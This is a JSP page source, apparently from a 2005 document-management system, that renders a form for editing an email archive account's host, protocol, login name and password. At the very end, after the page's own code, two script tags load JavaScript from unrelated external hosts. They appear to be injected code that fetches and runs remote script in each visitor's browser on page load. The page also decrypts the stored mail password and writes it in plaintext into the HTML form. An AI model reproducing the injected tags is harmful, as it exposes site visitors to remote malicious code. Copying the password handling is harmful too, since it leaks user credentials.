<%
/*
 * @(#)EditDmsAccountSetting.jsp
 *
 * Copyright (c) 2005 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  EditDmsAccountSetting.jsp

  This is a EditDmsEmailAccountSetting page.  It new a email account.

    @author             Beyond Qu
    @company            DCIVision Ltd
    @creation date      13/06/2005
    @version            $Revision: 1.31.4.8 $
*/

%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %> 
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %> 
<%@ page import="com.dcivision.user.bean.*"%> 
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*"%> 
<%@ page import="com.dcivision.mail.bean.*" %>
<%@ page import="com.dcivision.mail.dao.*" %>
<%@ page import="com.dcivision.mail.core.*" %>
<%@ page import="com.dcivision.framework.*" %> 
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/> 
<jsp:useBean id="maintMailSettingForm" scope="request" class="com.dcivision.mail.web.MaintMailSettingForm"/>
<%
try {  
    MailSetting mailSetting = (MailSetting) maintMailSettingForm.getFormData();
    if (mailSetting == null) {
      mailSetting = new MailSetting();  
    }
    UserRecord userRecord = sessionContainer.getUserRecord();
    String navMode = !Utility.isEmpty(maintMailSettingForm.getNavMode())?maintMailSettingForm.getNavMode():(Utility.isEmpty(request.getParameter("navMode"))?"":request.getParameter("navMode"));
    if (Utility.isEmpty(navMode)|| "new_email_account".equals(navMode)){
      request.setAttribute(GlobalConstant.ACTION_MODE, GlobalConstant.NAV_MODE_NEW);
    }
    String fullName = userRecord.getFullName();
    String defaultEmailAddress = userRecord.getEmail();

    String pop3ProtName = EmailReceiver.RECEIVE_EMAIL_SERVER_TYPE_POP3;
    String imapProtName = EmailReceiver.RECEIVE_EMAIL_SERVER_TYPE_IMAP;
    String domiProtName = EmailReceiver.RECEIVE_EMAIL_SERVER_TYPE_DOMINO;

    String displayName = (mailSetting.getDisplayName()==null)?fullName:mailSetting.getDisplayName().trim();   
    String emailAddress = (mailSetting.getEmailAddress()==null)?defaultEmailAddress:mailSetting.getEmailAddress().trim();
    String mailServerType = (mailSetting.getMailServerType()==null)?"":mailSetting.getMailServerType().trim();
    String incomingServerHost = (mailSetting.getIncomingServerHost()==null)?SystemParameterFactory.getSystemParameter("SystemParameterConstant.DMS_EMAILARCHIVE_DEFAULT_HOST_ADDRESS"):mailSetting.getIncomingServerHost().trim();

	  String dominoHost =		SystemParameterFactory.getSystemParameter(SystemParameterConstant.DOMINO_HOST);

    if(mailSetting.getIncomingServerHost()==null){
      incomingServerHost = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_EMAILARCHIVE_DEFAULT_HOST_ADDRESS);
    }


    String incomingServerLoginName = (mailSetting.getIncomingServerLoginName()==null)?"":mailSetting.getIncomingServerLoginName().trim();
    String incomingServerLoginPwd = "";
    if (mailSetting.getIncomingServerLoginPwd()!=null) {
      incomingServerLoginPwd=Crypt.decrypt(mailSetting.getIncomingServerLoginPwd().trim(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.CRYPTO_SALT));
    }
    //String incomingServerLoginPwd = (mailSetting.getIncomingServerLoginPwd()==null)?"":mailSetting.getIncomingServerLoginPwd().trim(); 
    String functionType = "dms.label.account_setting";
%>
  <script language="Javascript">
  <!--
    function OpSelfSave() {
       if((document.maintMailSettingForm.incomingServerHost.value==null||document.maintMailSettingForm.incomingServerHost.value==""))
       {
         alert("<bean:message key='dms.messge.please_enter_email_host'/>");
         document.maintMailSettingForm.incomingServerHost.focus();
       return;
       }

      document.maintMailSettingForm.submit();
      return false;
    }
  //-->
  </script>

<html:form type="MaintMailSettingForm" enctype="multipart/form-data" action="/dms/MaintEmailArchive?opMode=SAVE_EMAIL_ACCOUNT" styleClass="form-style-2">
  <%String sCurFunctionCode = maintMailSettingForm.getCurFunctionCode()==null? SystemFunctionConstant.DMS_EMAIL_ARCHIVE : maintMailSettingForm.getCurFunctionCode();%>

  <div class="generalHeader">
    <div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
      <layout:returnButton className="btn-standard" returnURL="ListDmsEmailArchive.do?navMode=L"/>
    </div>
  </div>

  <div id='generalContainer' class="generalContainer">
    <div class="wrapperContainer-clearfix">
      <table width='100%'>
        <layout:sectionHeader name='dms.mailarchive.email_account_setting' mandatory='true'/> 
        <tr>
          <td class="formLabelSmall"> 
           <bean:message key='dms.label.email_archive.display_name'/>:&nbsp;
          </td>
          <td class="formFieldSmall">
            <html:text property="displayName" size="16" maxlength="18" value="<%=displayName%>"/>
          </td>
        </tr> 
        <tr>
          <td class="formLabelSmall"> 
            <bean:message key='dms.label.email_archive.email_address'/>:&nbsp; 
          </td>
          <td class="formFieldSmall">
            <html:text property="emailAddress" size="25" maxlength="30" value="<%=emailAddress%>"/>  
          </td>
        </tr> 
        <tr> 
          <td class="formLabelSmall">&nbsp;</td>
          <td class="formFieldSmall">&nbsp;</td>
        </tr>
        <tr> 
          <td class="formLabelSmallMan"> 
            <bean:message key='dms.label.email_archive.email_host'/>:&nbsp;  
          </td>
          <td class="formFieldSmall"> 
            <html:text property="incomingServerHost" size="25" maxlength="50" value="<%=incomingServerHost%>"/> 
          </td>
        </tr>
        <tr>
          <td class="formLabelSmall" > 
            <bean:message key='dms.label.email_archive.email_server_type'/>:&nbsp; 
          </td>
          <td class="formFieldSmall">  
            <%
              String pop3Sel = "";
              String imapSel = "";
              String dominoSel = "";
              if (pop3ProtName.equals(mailServerType)) {
                pop3Sel = " selected";
              } else if (imapProtName.equals(mailServerType)) {
                imapSel = " selected";
              } else if (domiProtName.equals(mailServerType)) {
                dominoSel = " selected";
              }
            %>
            <html:select property="mailServerType">               
              <option value="<%=pop3ProtName%>"<%=pop3Sel%>><bean:message key='dms.label.email_archive.protocol.pop3'/></option> 
              <option value="<%=imapProtName%>"<%=imapSel%>><bean:message key='dms.label.email_archive.protocol.imap'/></option> 
              <option value="<%=domiProtName%>"<%=dominoSel%>><bean:message key='dms.label.email_archive.protocol.domino'/></option>
            </html:select> 
          </td>
        </tr>
        <tr> 
          <td class="formLabelSmall">&nbsp;</td>
          <td class="formFieldSmall">&nbsp;</td>
        </tr>
        <tr> 
          <td class="formLabelSmall"> 
            <bean:message key='dms.label.email_archive.account_name'/>:&nbsp; 
          </td>
          <td class="formFieldSmall"> 
            <html:text property="incomingServerLoginName" size="16" maxlength="30" value="<%=incomingServerLoginName%>"/>  
          </td>
        </tr>          
        <tr>
          <td class="formLabelSmall"> 
            <bean:message key='dms.label.email_archive.password'/>:&nbsp;
          </td>
          <td class="formFieldSmall">
             <html:password property="incomingServerLoginPwd" size="16" maxlength="18" value="<%=incomingServerLoginPwd%>"/> 
          </td>
        </tr>
        <tr>
          <td class="formLabelSmall">
            <bean:message key='dms.label.email_archive.backup'/>:&nbsp; 
          </td>
          <td class="formFieldSmall">
            <html:checkbox property="parameter3"/>
          </td>
        </tr>
      </table>
    </div>
  </div>

<div class="generalBottomButtonArea">
  <div id="buttonSection">
    <html:standardButton label="common.label.save" onClick="return OpSelfSave()"/>	
  </div>
</div>

</html:form>
<%
} catch (Exception ex) {
  LogFactory.getLog(this.getClass()).error(ex, ex);
}
%>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>